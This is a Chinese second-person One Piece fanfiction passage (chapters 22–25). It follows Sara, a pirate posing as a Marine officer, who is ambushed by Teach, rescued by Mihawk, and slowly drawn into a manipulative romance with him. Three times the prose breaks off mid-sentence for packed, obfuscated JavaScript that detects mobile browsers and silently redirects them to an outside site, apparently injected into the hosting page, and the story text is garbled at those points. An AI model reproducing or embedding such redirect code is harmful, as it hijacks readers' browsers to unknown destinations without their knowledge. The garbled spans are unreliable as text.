库赞说着,将你揽入怀里,下巴压在你肩窝上,说着现阶段不可能实现的事。 当然,你是不知道库赞是否会有不当海军的一天,但你不当海军的那天就要到了。 唯一遗憾的是,你现在都没有机会见到萨卡斯基和波鲁萨利诺使用能力的场景。走神的时间里,库赞叫了你的名字:“萨拉。” “嗯?” “你有什么要和我说的吗?” 你听出了库赞语气里的变化,却不确定他指的是什么。是你其实是海贼的事?还是你准备辞职的事?不管是哪个,你都说不出口。 “没有哦。” 闻言的库赞没再就着这个话题追问下去,就这么和你坐在沙发上,直到你们短暂的休假日结束。 离开本部富有标志性的建筑时,你想到的是下次来这时,就是你和战国提交辞职信的日子。也是那时,你会正式和库赞提出分手。 不管他答不答应,你都会离开就是了。 22. 下落不明 正式辞掉海军身份前,你有意疏远库赞。而库赞也有所察觉,连着几天没来你这里摸鱼,更别说下班后的约会了。 这对于准备从海军这里跑路的你来说很好,你可以在处理完工作后的时间里写辞职信。 同一时间,你基地里的海军都看出你和库赞的关系不似之前一样亲密,然后凭着他们对你的认知,脑补出了不一般的剧本。 有人说你被库赞甩了,为你打抱不平。然后被支持你甩库赞的对立派骂了,说你怎么看都是甩库赞的那个。 你可以不管的,但这些谣言传出基地会很麻烦,便下令禁止基地里的海军再讨论你和库赞的问题。 有了禁令后,基地就安静很多了。 只有离你最近的副官为你和库赞的联系少了感到高兴。 “萨拉中将终于和青雉大将分手了吗!?” 看到副官兴高采烈的样子,你无奈地笑了:“‘终于’是什么啊...没有哦,还是交往的状态。” 闻言的副官一脸失望,又在想到什么时面露诧异。 “难道是青雉大将——” “虽然不知道你想了什么,但肯定不是你想的那样。好了,现在还是上班时间,处理完工作再聊私人话题吧。” 经你提醒,副官也意识到现在还是工作时间,一秒进入工作态度。你看了眼放在桌上的记事本,明天是本部开会的日子,也是你递交辞职信的日子。 不出意外的话,明天过后你就可以摆脱海军的身份了。库赞那边,你们都不怎么来往了,应该算是默认分手的状态了。 一切都有序的进行,可意外总是不打招呼。 前往本部的军舰遇到了蒂奇和他的海贼团。从人员的配置和他们设下埋伏的位置可以看出,蒂奇应该观察了很长一段才决定出手的。 你似乎当海军当上头了,遇到袭击的第一反应,便是分析最近是否有需要保护的平民,脑海里过一遍确认方圆百里只有基地的海军和蒂奇一行人,你急忙下令让新兵和副官保护好自身的性命。 “全体都有,用尽一切办法活下去!” 这是你作为他们将领所下的最后一个命令。至于他们听不听你的命令,就不是你所能控制的了。 蒂奇的目标是你没错,但他可没傻到让暴露这件事的海军有活口,出手便是以毁坏军舰为目的。 也不知道蒂奇从哪里学到的能力,每个能力都令你意外。你和蒂奇打斗时,蒂奇的伙伴也在袭击船上的海军。 新兵没有战斗经验,勉强能动的有幸躲过一劫,吓得动不了的,你趁能动的空隙将其扔到甲板后用来收押海贼的快艇上。 边保护边战斗不是你擅长的事,所以你挨了蒂奇一掌,腹部还中了一发子弹。看似没什么杀伤力的招式,带给你身体的疼痛却不一般。 比起身体上的疼痛和伤口,你竟为军舰上没有需要保护的海军而庆幸。 许是你庆幸的样子过于明显,也可能是蒂奇想到了什么,方才还在大笑的蒂奇脸色微怔。 “真难看啊萨拉,为了保护海军让自己变成这样,这次我可不会心软了。海贼杀海军,可是再正常不过的事。” “哪里...就算我不是海军,你不也一样下手?” 你试图通过对话分散蒂奇的注意力,期间观察着四周的环境。你被围住了,前面是蒂奇,左右和后方也是蒂奇的同伙,他们都警惕着你的行动。 同一时间,他们正步步逼近你。 “虽然你的能力只能算是我的低配版,但你的存在还是太碍事了,萨拉。” 懂了,蒂奇这是以绝后患,所以才要执着于你的能力。想来也是有意思,在知道你的能力前,蒂奇和你可没什么话说的。 知道你的能力后,倒是让你们的关系亲近了不少。 “这就是你不肯放过我的原因?” 你估摸着蒂奇和你的距离。虽然你不能保证让所有人都被库赞的能力冻住,但你不能让蒂奇好过就是了。 蒂奇还在靠近,他的掌心浮现出怎么看都危险的黑雾。 “差不多。闲谈到此为止了,就让我来给你解脱吧。” 踏入可攻击的范围了。 “...这可说不定。” 你听到自己笑了,还有蒂奇和他伙伴的咒骂声。显然,他们没想到你把库赞的能力都学会了。 海上无处可逃,你唯一的退路便是用月步逃到空中。但蒂奇不会让你轻易逃离的,最好的方法就是把他们打败了再想逃的事。 艾斯的火就不错,你现在的能力把军舰和蒂奇一伙人全烧了都不是问题。唯一的缺点就是你也不少自然系的能力者,也会被火烧伤。 不到最后,你都不想走到这一步。但库赞的能力被面具男一拳震碎,许是你的偷袭成功让他们重整旗鼓,足以震碎军舰的拳头朝你袭来。 不得不说,卡普教导的海军本领真的很有效,即使腹部中弹了,你也能在调整呼吸后继续使用。 你没有库赞和卡普那种赤手空拳打烂军舰的力气,你的优势是敏捷的反应和以柔克刚的技术。 先被你弄下海的是面具男,再来是来不及闪躲挨了一指的枪手,离你最近的人还在调整姿势,和枪手一起送下海里。 再来就是借着同伙被送下海的时间冲到你面前的蒂奇。先前刺伤你的匕首这次被你用武装色霸气挡下了,但没防备的部位挨了蒂奇一掌。 浑身上下的细胞都在叫喊着要休息,叫喊着止疼。是能力用过头了,也是你身体承受的伤害到达极限了。 用月步逃的力气是没有了,但同归于尽的体力还是有的。想到这,你忍不住笑了,被笑牵拉的腹部又溢出湿润的液体。 “虽然不想这么干,但我们来比一下谁的命硬吧,蒂奇。” 看你的架势就猜到你用什么能力的蒂奇大惊失色。 “喂、你连自己的命都不当回事了吗!?” 确实,你还要用艾斯命名的招送蒂奇和你上路。 “火拳——” 希望烧掉军舰的火,可以把你递交给战国的辞职信留下。一起烧掉也没关系,你是觉得受了重伤还掉进海里的自己活不了了,辞职与否也没什么关系了。< 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“你们和她待一起的时间比我长,应该比我更清楚上面写的是不是她的字迹。” 有了他这句话,一直在海里潜下潜上的新兵和副官放弃了,强忍着泣意接受现实。 看着眼眶泛红不愿离去的新兵和副官,库赞想到了被他放在办公室里的戒指。那晚过后,他真的去找了马林福特最大颗的钻石戒指。很早就买了,却因为各种事迟迟没有给你。 或者说,是他在犹豫。你们刚在一起时被感性冲昏的头脑,在库赞冷静下来后,潜意识告诉他,你有问题。 那双看似深情的黑眸,为数不多流露出的真情都不是在看他,而是透过他在看其他人,或者是其他的事。 每当库赞这么想时,你又换上了满眼都是他的样子,试图用温情迷惑他的理性和感知。 你不图财,不图权,也没想过要别的。还能是什么?只能是他的能力了吧。 所以他大方地展示了他的能力,想看你学到了哪种程度,也想看达成目的的你什么时候会提出分手。可达成目的的你没有提出分手,还向他提出了新的要求。 饶是他知道你的目的,还是买了你说的戒指。或许是他抱有一丝的侥幸,赌你会有一丝的真情。可到关键时候,他又拿不出手了。 在这之后,就是你突然问他不当海军后要干什么了。也是那时,库赞知道你就要离开海军了。你离开海军的话,也会和他提分手吧? 可你没有,采取的是回避措施。你不主动约他,也不接受他的邀约。他也不是什么都不懂的年轻小伙了,自然知道你疏远他的行为意味着什么。 结果你没有成功向战国递交辞职信,连是生是死都不知道。 但这些都不重要了,你不会再回海军了。如果你真的还活着,库赞倒是担心你会站在海军的敌对立场。 如果是这样,这场“意外”又令人生疑了。想到这,库赞看着军舰的残骸,发出似遗憾又无奈的感叹。 “下次见面可不要变成海贼啊,萨拉。” 23.噩梦 泡在海里的感觉并不好受,更别说濒死状态再泡在海里。 可能是死前的走马灯,你的脑海里浮现出了二十二年来的回忆。小到你刚上白团时大家的表情,大到你离开白团时老爹和艾斯的反应。 再来是你成为海军时经历过的事件。大概是实力断层,和你一起被招进海军里的同期生经常会倒在你的身边,到最后站在一起的一只手就数的过来。 你不认为自己是海军的同伴,但和他们待在一起聊过天、吃过饭后,你会为他们的死亡而感到遗憾。掺杂在其中的,或许还有海贼不该对海军有的同情,或是愧疚。 然后是库赞和你依偎在一起的画面,是以藏站在军舰栏杆上对你的耳语,是你毁坏军舰时蒂奇的咒骂声。 太乱了,你的脑子乱成一团,甚至无法从中找到你需要的信息。 你听到有人在你耳边交谈,有男有女,他们在争论着什么。你觉得奇怪,海里还会有人说话吗? 没等你听清,声音就消失了。温热的掌心拂过你的额头,有谁在叹息。还有毛巾被拿起拧干水的声音,理应感到冷意的地方,变得温暖无比。 你的意识清醒了些许,而过度疲惫的精神和身体让你无法睁开眼,也无法感知周边的环境,只能凭借着意识,喊着对你而言重要的人的名字。 又是一声叹息,布满茧的掌心盖住了你的眼睛,身旁的人说话了。 “睡吧,他们都不在这。” 分不清是被身旁人说的话打击了,还是你意识清醒的时间过于短暂,困意随着逐渐远去的意识占据了你的身体。 你一直在沉睡和短暂清醒中来回交替,每一次清醒耳边都是同一个人的声音,偶尔会听到他和像医生的人交谈的声音。 你很肯定,在你身旁的人你是认识的,但混乱疲惫的大脑让你想不起来是谁的声音。 直到你能睁开眼时,你终于看清了那个人的脸。 “...米霍克。” 被你认出来的米霍克拧开了手上的毛巾,将温热的毛巾放在你的额头上才回话。 “你睡了半个月。” 闻言的你沉默了半晌,不知道自己该说什么。或者该说你没有思考的精力,只能一昧地接受外界的信息。 看着像某间旅馆的房间,米霍克身后洁白的床铺,放在床头柜面的水盆、水壶、红酒和酒杯。还有一些常见的日常用品,但你没能一一记住,又睡了过去。 你睡得很不踏实,梦到了很多人。你梦到艾斯被蒂奇打伤了,梦到老爹和其他人在不同的场景里死去,还梦到自己站在他们尸体的中间,哭喊着让人救救他们。 可是没人接你的话。 会说你是“爱哭鬼”然后揉乱你头发的哈尔塔不在,会给你变出花的比斯塔也不在,会给你递纸的乔兹也不在。 还有给你做蛋糕的萨奇,每次外出都给你带东西的艾斯、耐心安抚你情绪的马尔科不在,会用宽大的外套把你裹起来的以藏也是。 那艘能载着所有人到处航行的莫比迪克号也是,整个世界只有你一个人。 意识到你再怎么哭喊都只有你一个人后,你蹲下把自己蜷缩成团,试图用自己的体温拥抱自己。 梦里的你还在哭,直到粗糙却温热的掌心牵起你的手,你从可怕的梦境中醒来了。 眼角还残留着液体的触感,你却急于确认周围是否只有自己一人,直到米霍克那张看不出喜怒的脸出现在你视野里,你意识到自己不是一个人。 “米霍克...?” “嗯。” 得到回应后,你安心了。这不是梦,手里的触感也是真的,待在身旁的人也是真的。后知后觉的安心没有持续多久,你想起了让你变成这样的元凶。 “你有见到蒂奇吗?” “他被他的同伴带走了。” 这应该是现阶段的你最害怕的事,可经米霍克口阐述,你的情绪格外稳定。或许这就是属于米霍克的魅力吧。 确认你醒了后,米霍克试图从你手中抽出他的手,却被你握住了。 你知道,凭你和米霍克关系,你是没有资格这么做的,可现在的你急需除你之外的存在陪着你。 对上米霍克无奈的双眸时,你向他表达了你不想让他离开的想法。 “拜托你...不要走。” 闻言的米霍克发出了你意识迷离时经常听到的叹息:“不会走,我给你拿吃的。” “真的?” “真的。” 得到米霍克的肯定答复后,你还是没舍得松手。起身的米霍克也没急着让你松手,就这么站着,直到你松手为止。 你松手后,米霍克也确实如他说的一样,去了隔壁床的床头柜面端了碗粥过来。 比你更清楚你身体状况的米霍克也没问你是否需要帮忙,就拿起勺子给你喂粥了。 就你和米霍克的关系而言,现下米霍克对你做的一切都过于诡异了。可你找不到拒绝的理由,你勉强能坐起的身体也做不到端着碗就喝。 你有很多事想问米霍克,可你保持清醒的时间不多,所以问出的问题都断断续续的。即使如此,你还是掌握了最想了解的信息。 像是和你一起坠海的蒂奇没死,被他同伴救走了。期间他们还想把你带走,被路过的米霍克砍了一刀后,放弃了带走你的想法。 整件事听上去都很不合理,但米霍克没让你往下问,就转移了话题。显然,米霍克并不想你知道他救你的原因。你顺了米霍克的意,不再打听米霍克救你的动机。 毕竟你打听也没用,现在的你没有任何东西能报答米霍克,只能一昧地接受米霍克给予你的关照和物品。 至于回白团的事,现阶段坐久点都会入睡的你没有这个能力,也不好和米霍克说。即使米霍克看上去不像是会拿你来要挟老爹要什么的人,不轻易暴露身份总归是好的。 从米霍克拿回来的报纸上,你看到了你的事被刊登在了头条。老实说,你不觉得本部会把你的事放在心上。 会这么做的,显然是不知道从什么渠道获得信息的摩尔冈斯。不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916821|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,他还把“生死不明”和“失踪”放大,你辞职的事是一点没提。噢,还有你和库赞交往的事都被挖出来放在报道里了。 你似乎理解了你问米霍克是否能在他看完报纸后借你看时,米霍克沉默了半晌才答应你的要求的原因,敢情是因为摩尔冈斯的报道。 事已至此,不管解释与否,上面写的都是真实有过的事。就是加了些润色,例如“青雉大将为爱改性”和“萨拉中将魅力十足”什么的。要是可以,你真的想给写这篇报道的记者用武装色来一巴掌。 他们这么写,让看到这篇报道的老爹他们怎么想你?以藏又会怎么看你?想到这,你的头开始疼了。而坐在一旁的米霍克适时抽走了你手中的报纸,替你拉起盖在腿上的被子。 “你该睡了。” 没有给你拒绝的机会,说这话时米霍克就把被子拉到你的脖子上了。确实,先前吃下的药也开始发挥作用,报纸上让你无法拿定主意的头条也是,内在和外在的因素让你头疼欲裂。 是的,你该睡一觉调理自己的情绪。 许是那份报纸带给你的冲击力太大,你又做噩梦了。这次老爹他们都在,可是他们没有人看你一眼,甚至连一句话都不愿意和你说。 于是你追着他们喊,希望他们能回头搭理你。可他们没有,每个人都想不认识你一样,任由你跟在他们身后,怎么跑都追不上。 你好不容易追上以藏,以藏却说你已经不是船上的一员了,还让你回海军那里。以此为开头,所有人都停下脚步,每个人脸上都是你没见过的表情。 他们让你离开莫比迪克号,让你回海军当中将,脾气不好的甚至准备把你当遇到的海军一样处理。你拽着以藏的衣袖,就像小时候一样依偎在他身旁。 可这次不一样,以藏掰开了你抓住他衣袖的手,毫不犹豫地走进让你离开莫比迪克号的队伍里。 梦里还有很多事,可你不想记住,也不想去回忆。待你从梦中醒来时,闯入视野的是米霍克的脸。他坐在你的床边,像照顾昏迷状态的你一样,拿毛巾替你擦去脸上分不清是冷汗还是眼泪的液体。 “你又做噩梦了。” 闻言的你知道自己在做噩梦时说梦话了,具体是什么你不知道,但动静肯定不小。意识到这点,你不禁向米霍克表达你的歉意。 “对不起,吵醒你了。” 温热的毛巾还在你脸上擦拭冒出来的冷汗,注视着你的黄玉般的双眸在思考着什么。你不知道米霍克在想什么,但此时的他让你有点害怕。 察觉到你情绪变化的米霍克用粗粝的掌心盖住了你的眼睛,隔绝了你们对视的可能。盖住你眼睛的手很热,这让你一时间分不清这种热度是米霍克的体温,还是热毛巾捂热的。 “你睡吧。” “我要出趟门,你有什么要带的?” 你看不到米霍克的脸,这让你很安心。你婉拒了米霍克要给你带东西的提议,米霍克也没有坚持,在你“注意安全”的声音中停下了脚步。眨眼的瞬间,房间就剩你一人了。 24.居家 “正常生活是没问题了,但想要恢复之前的身体状态,还要再养一两个月。” 医生宣布你正常生活没有问题后,你已经开始思考下个目的地了。回白团是最好的选择,可下落不明的蒂奇和报纸上的报道让你不敢回去。 那继续流浪?想到你没之前坚硬的武装色,外加之前大肆报道的海军身份,估计你没流浪多久就会被其他海贼盯上了。 许是看出了你的犹豫,收拾东西的米霍克主动问起你的安排。 “你要跟我走,还是留下?” 米霍克突然抛出来的提议令你意外。你还在思考他说的话时,米霍克又补上了一句。 “现在很多人在找你。” 即使米霍克没明说,你也能猜到找你的人大致有谁。很遗憾,现阶段的你不想被任何一个熟人找到,被找到真的很尴尬。 所以,跟米霍克走是逃避现状的可选方案之一。 “那我再打扰米霍克一段时间好了。” 面对你所说的“打扰”,米霍克没有给予你正面回应,只是在你和他离开旅馆前给了你一个面具,让你挡一下脸。 本以为米霍克会直接带你离开,结果他带着你在不认识的镇上逛了一圈。米霍克给你买了需要的衣服和必要的生活用品,还买了酒和食物。 路过花店时,你看到了自己倒映在橱窗上的面具。面具和你本人的长相完全相反,狰狞又可怖。 也是这一眼,让米霍克误会了你的行为。已经买了很多东西的米霍克,给你买了一束花。 由于一切发生的太突然,你拿着米霍克送的花走了一段路,才意识到事情的发展不对劲。 “为什么...?” 你拿着店员满心欢喜给你挑的花束很是意外。面对你的疑问,米霍克的回答是不作回答。 于是,你捧着米霍克送你的花束,跟着他回到了只有他一人住的城堡里。相较于库赞在马林福特的房子,米霍克的城堡要大很多。 不只是大,你还能从干净整洁的室内看出有人在这生活的痕迹。城堡大得能住下一个船的人程度,在这生活的却只有米霍克一个人。 你还没从城堡带给你的震撼中反应过来,米霍克就让你去选房间了。 “二楼的房间随便你选,打扫的事晚点再说,我去做饭。” 和你交代完要做的事后,米霍克就购买的物资走进疑似厨房的房间,在里面捣鼓起来。 对于房间没什么要求的你觉得要寄人篱下就得帮忙,何况现在的你也不是肩不能扛手不能动的患者,便照着米霍克走的路线去到了厨房。 “总有我能做的事,也让我帮忙吧。” 面对你主动提出帮忙的行为,米霍克打量了你一眼,就和你说起了城堡后的菜地。你照着米霍克说过的话来到菜地,被充满生活气息的菜地震撼到了。 震撼归震撼,该做的事还是要做的。你照着米霍克说的摘了他要求的蔬菜,回到厨房给他打下手。 择菜洗菜由你来做,米霍克料理肉类和其他食材。两个人分工合作,很快就做一顿于两个人而言丰盛的晚餐。 “我还是第一次见这么居家的海贼......” 这是你吃下第一口饭菜发出的感想。坐在对面的米霍克饮下一口红酒,黄玉般的双眸里看不出他此时的情绪。 “你也差不多。” 闻言的你只觉得奇怪。米霍克应该只知道你是前海军的身份,他的“差不多”指的是什么? “‘差不多’指的是哪部分?” 米霍克没有回答,专注于他的晚餐。见他没有聊下去的兴致,你也不自找没趣,改为享受自己的晚餐。 晚餐过后,米霍克又和你一起打扫了你选的房间,他还给你拿了新的被子。做完这一切后,你发现自己已经累得站不起来了。 要不是米霍克叫你去洗澡,你估计就这么进入梦乡了。按理说,康复期这点锻炼量足以让你睡个好觉,结果睡得昏沉沉的你又做了噩梦。 这次的噩梦更加鲜明,白团的大家为了从海军手中救艾斯和海军打起来了,老爹和艾斯还有很多人都在那场战斗死去,最后蒂奇坐收渔翁之利。 醒来的你一身冷汗,被蒂奇刺伤早已恢复的刀口随着你急促的呼吸开始作痛。你不曾去讨厌或恨某个人,如今念着蒂奇名字的你却咬破了下唇。 你告诉自己梦是相反的,另一个你却在心里呐喊着,势必要杀了蒂奇。即使是梦,即使这个梦有千分之一的可能,你都不能让它有机会成真。 可你太弱了,就连这次和蒂奇对上,也是因为米霍克才得救。 意识到这点,你又忍不住哭了。你埋怨自己没在流浪期间变得更强,没在海军里学到更多的能力,埋怨自己浪费时间。似乎这段时间里的噩梦和不安,都要被你哭完一样。 沉浸在悲伤中的你没注意到门口的动静,直到米霍克走进来,你才意识到你的哭声把他吵醒了。 手忙脚乱收拾自己的你没想好怎么面对米霍克,米霍克却习以为常地拿过书桌的椅子,坐在你面前。 “你又做噩梦了。” 是肯定的语气。由此可见,米霍克已经习惯你被噩梦惊醒的情况了。 这让你很忏愧,加上刚才的事,收住的眼泪好像又有溢出的趋势。你试着压抑住自己的泣意,朝米霍克扯出一个笑容。 “对不起,我好像又吵醒你了。” 面对你的道歉,米霍克的语气有些无奈。 “我没有怪你。” 再简单不过的一句话,又让你哭了出来。你不知道自己为什么而哭,只是一昧地抿紧唇,不让自己的声音泄出。 被泪水模糊的视野让你看不清米霍克的脸。直到粗粝的指腹抚上你的唇,你的身体因突然的碰触停下抽泣。 视野中的轮廓被放大。一个呼吸的时间,唇上的指腹□□燥且温热的唇瓣所取代。事情的发展过于突然,反应过来的你想要躲开,按住你脑后的手斩断了你的去路。 这是一个不带欲望的吻。不,或许是米霍克单纯想让你停止哭泣的方法,不能算吻。你试着说服自己,也在说服的过程中忘记了哭这件事。 待米霍克退开到你能看清脸的距离时,你看到了米霍克和往日无异的脸,仿佛做这件事的人不是他一样。 与之不同的是,此时注视着你双眸里的情感是炙热的。 “你、” 下意识抓紧手中的被子,淡漠的男声再次响起。 “闭眼。” 如果说刚才是为了让你停止哭泣,那第二次的吻完全是出自米霍克本人的意愿所落下的。不对,第一次的主导权也在米霍克手中。 直到米霍克松开禁锢你的手,你已经记不清刚才做过什么梦了,只记得米霍克离开你房间时说的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916822|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他像没事人一样和你说晚安。 晚安?所以刚才的事,其实是你做的梦吗? 啊,一定是梦,一定是噩梦过于恐怖,你又做了第二个足以覆盖噩梦的梦。 - 你应该是米霍克见过最会哭的人,第一次见面时,喝醉酒的你就在同行人的怀中哭。 而第二次时,你改变了他对你的看法。在七武海会议上的你表现地很镇定,言行举止都像一名海军。即使如此,他也能看出你镇定后的不安。 这也能理解,毕竟整个本部不害怕他们的人一只手都数的过来。但又不一样,你怕的不是他们的身份,而是别的什么。 是怕他会暴露你原是海贼的事吗?如果是其他人知道这件事,或许就会说了吧,但他不想多管闲事。 第三次见面时,你变得更沉稳了,就连礼节性的微笑也是,看不出你是喜是怒。 你和所有人一样,都叫他的代号。他不太喜欢你这么叫他,让你换个称呼。 “好的,七武海的米霍克先生。” 是他的表达有问题,还是你有意曲解他的意思?如果不是场合不对,他或许会和你就这个话题继续聊下去。 所以他看多了你几眼,并确定他还是更喜欢第一次时的你。现在的你就像紧绷的一根线,随时都会崩掉。看似可靠值得信赖,实际脆弱到轻触即碎。 也是这样的你,送了他一瓶年份久远的红酒,还告诉他是见面礼。你很对他的胃口,不管是你送的见面礼,还是你的长相和性格。 所以前往本部参加会议时,米霍克毫不犹豫地让蒂奇的船变得更碎,在两败俱伤的残局里选择了你。 即使如此,被同伴救起来的蒂奇试着和他做交易。 “我可以和你做个交易,你把那个海军给我,我会给你想要的东西。” 想要的东西?他看了眼在他船上失去意识的你,此时的你已经没有上次见面时的沉稳和从容,微弱到接近无的呼吸,还有苍白到看了惹人怜惜的脸。 他已经拿到了想要的了。至于蒂奇说的交易,一开始就不会成立。 所以他不介意让蒂奇和他的同伴更惨一点。 照顾昏迷中的你比较麻烦,但胜在他有耐心和时间。直到你从昏迷状态中醒来,他决定收回之前说的麻烦。 你总是在做噩梦,一做噩梦就会低喃着白胡子海贼团里的人的名字,偶尔还会从你口中听到现任大将的名字。频率最多的,还是“以藏”。 基本可以肯定,你是白胡子海贼团的一员了。那你身上的三刀,又是谁留下的痕迹?米霍克无法从你口中知道这些,所以他会在你醒后再问你。 恢复期的你总是哭,每一次都哭得很厉害。不安,难过,那个时候的你似乎是世上最易碎掉的玻璃公主。 只有握住他的手,你才会停下哭泣。即使你知道他是谁,也贪恋着他的体温和存在。 可能你还没意识到自己的异样,但米霍克知道,你在精神上已经离不开他了。 只是这种程度还不行,他需要你更依赖他。本该继续忍耐下去,但看到你因噩梦惊醒的哭颜时,他出手了。 第一次是为了让你停止哭泣,第二次则是向你收取之前照顾你的“报酬”。 不出意外的话,之后他还会从你身上收取更多应有的报酬。 你认知中的“好人”,不过是他用来迷惑你的手段罢了。 25.圈套 你醒来时,米霍克正在厨房做早餐。他的反应和之前一样,见到你的第一句话就是准备吃饭。你越发肯定昨晚的事是一场梦,就是这个梦有点难以启齿。 米霍克的作息很规律,练剑、看报,种地和做饭,偶尔会看书。这个城堡甚至有专门放书的书房,这个发现让你很高兴。 不过书的事放一边,当务之急还是先考虑怎么变强的事。于是,你把目光放在目前唯一一个能充当老师和对手的米霍克身上。 “虽然我知道我的请求有点过分,但可以请你教我剑术吗?” 看报的米霍克放下手中的报纸,少了几分锐利的鹰眼上下打量了你一眼。 “等你养好身体再说。” 在你看来,能下床正常生活的身体已经痊愈了。你试着和米霍克说明自己的情况,后者的回复仍旧坚定。 “我不想照顾病患。” 好吧,米霍克这条路走不通,你只能想过别的方法。说是这样,现阶段的你也只能从书房里拿书来看。 看似注意力又在报纸上的米霍克,实际一直用余光观察着你的反应。见你从客厅走到书房,米霍克翻了一页报纸。 他以为你会再坚持一下。当然,就算你坚持要他和你对打,他也不会同意就是了。 于是,偌大的城堡就你和米霍克两个人在里面活动。根据你对米霍克的观察,你已经摸清他会在什么时间段做什么了。 像是晨起练剑的时间,去菜园种地的时间什么的。对了,米霍克不愿意和你对打,不代表你不能在他练习时偷学啊。 所以你从米霍克的杂物间里找到了看上去用了很久的木剑,跟在米霍克身后,学着他挥剑的样子练习。 结果实施偷学计划的第一天,你和米霍克说的狒狒。只是一眼,围观你的狒狒就散发着战意。 察觉到猩猩战意的你第一时间用武装色包裹住木剑,摆好了攻击的架势。眼见战斗一触即发,一旁的米霍克说话了。 “别对她动手。” 一句话就让来势汹汹的猩猩做鸟兽散了,你缠绕在木剑山上的武装色也褪去,随之褪去的还有你的体力。 眼尖手快的米霍克在你因体力不足倒下前把你捞起,他的语气里是对你勉强自己的行为的无奈。 “你还在康复期,别乱来。” 亲身体验过自己的身体状态后,你老实了。只是简单地挥了几下木剑和用武装色,你就汗如雨下。要是没有米霍克在一旁扶着你,你就累趴了。 “抱歉...我没想麻烦你。” 随着疲惫袭来的是无法抑制的沮丧之情,察觉到你情绪变化的米霍克叹息出声:“我没觉得你麻烦。” 大抵是察觉到你不信自己的话,米霍克还是松口了。 “等你养好身体后,我会教你的。” 陷入低落状态的你抬起头:“真的?” 你看不到米霍克的表情,但他给予了你肯定答复。 “真的。” 有了米霍克的话,你安心了,但基础的体力训练你还是要做的。本想管你的米霍克在确认你不会伤到后,也就任你折腾了。 - 大多是时间,米霍克都不会主动挑起话题。在你和他说起你是白团的人后,米霍克会定期告诉你白团的消息。 像是艾斯出海大闹了某个海军基地的事,还有白团近期在哪片海域航行的事。确认他们没遇到什么事后,之前因噩梦难以入睡的你安心了。 你很想回去见他们,但你希望再见到他们时,你的状态不像现在这样,没动多久就气喘吁吁,被太阳晒久点就需要躺床休息。 即使如此,你还是为自己的身体状态感到焦虑,焦虑的同时也很难专注训练的事。见状,米霍克索性不让你训练,把你按在书房,让你看书来打发时间。 除此之外的日常活动,就是打扫城堡和做饭。当然,这些都是你看书看乏了主动做的。 最常见的画面就是你坐在沙发上看书,米霍克在一旁的沙发看报,然后冷不丁地告诉你书里的结局。 就像现在,你只差十来页就看完了,一旁的米霍克喝了口红酒,用轻描淡写的语气告诉了你十来页后的结局。 “男主死了。” 你听到了心碎的声音,还有米霍克说完这话后微扬的尾音。显然,米霍克是故意的。 “都说了不要提前告诉我结局了!” 被剧透的你放下了还剩一点就看完的书,控诉米霍克拿你取乐的行为。 面对你的控诉,米霍克没有正面回答,而是问起了你晚餐想吃什么。然后,你说完想吃的菜就忘记自己要和米霍克说什么了。 快在米霍克这里待上一个月时,你又想起了当时问过米霍克的问题。 “米霍克,你为什么要救我?” 你从沙发上坐起,看向坐在你对面用餐的米霍克,后者没有回答,一言不发地看着你。 “顺手。” 如果米霍克在医生说你可以下床正常行走时就不管你,你就信了他说的顺手了。结果他不仅管你,还是把你带回他的城堡细心照顾,绝对有问题。 “我不信。而且顺手的话,为什么当时不把我交给海军?” 不交给海军就是一个疑点了,还有为了带走你给蒂奇他们一刀,顺手能顺成这样?种种疑点,让你对米霍克救你的动机更感兴趣了。 如果是因为七武海和海军的关系,那把你交上去才能达成交易目的。但米霍克没有,且从头到尾都没有和你提过要求。 综上所述,米霍克救你的动机,只能是你身上有他想要的东西了。 “我身上有什么你想要的东西吗?” 你说着,试图从他看不出喜怒的脸上找到蛛丝马迹。 说来也是奇怪,在海军本部时你还觉得米霍克的眼睛很有气势,现在却能做到和他对视。 面对你的问题,米霍克咽下了口中的食物,用再平淡不过的语气回答了你的问题。 “你。” “欸?” 你不确定米霍克是在和你说话,下意识想要环视周围的环境,找到别的标的物。可眼前的鹰眼存在感太强了,强到你不看也能感受到对面的人的存在。 “我想要的是你。” 忽略掉米霍克势在必得的目光,你还能将他说的话当玩笑。可你不行,甚至想起了那天晚上的吻。 你后悔了,后悔问米霍克这个问题了。你无法掌握话题的主导权,甚至找不到能应对眼前不知是恶作剧还是真心话的对白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919186|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不只是对话的主导权,米霍克的视线也让你无法应对。 “我以为那天晚上你就会知道我想要什么。” “现在看来,你是不说明白就不会认清现实的类型。” 米霍克接二连三抛出来的对话让你坐立难安,连带餐盘里色香味具体的晚餐都变得棘手。 你该怎么形容现在心情。意外?喜悦?还是难为情? 